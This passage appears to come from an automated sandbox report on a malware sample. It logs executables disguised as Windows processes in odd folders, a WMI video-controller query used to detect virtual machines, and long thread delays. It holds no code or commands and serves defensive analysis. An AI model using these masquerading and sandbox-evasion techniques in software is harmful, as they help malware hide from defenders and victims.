Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\sppsvc.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Memory allocated: 2250000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Memory allocated: 1A490000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: A50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1A9A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1280000 memory reserve \| memory write watch	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1AF70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: 2DF0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: 1AEA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: DC0000 memory reserve \| memory write watch
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: 1A830000 memory reserve \| memory write watch
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1360000 memory reserve \| memory write watch
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Memory allocated: 1AE10000 memory reserve \| memory write watch
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: B90000 memory reserve \| memory write watch
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Memory allocated: 1A7C0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\2RM12KtuNp.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Recovery\fuBYljHeUjtkgvlnN.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\sppsvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Recovery\sppsvc.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\WmiPrvSE.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 922337203685477
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 600000
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599891
Source: C:\Program Files\Microsoft Office 15\ClientX64\smss.exe	Thread delayed: delay time: 599780
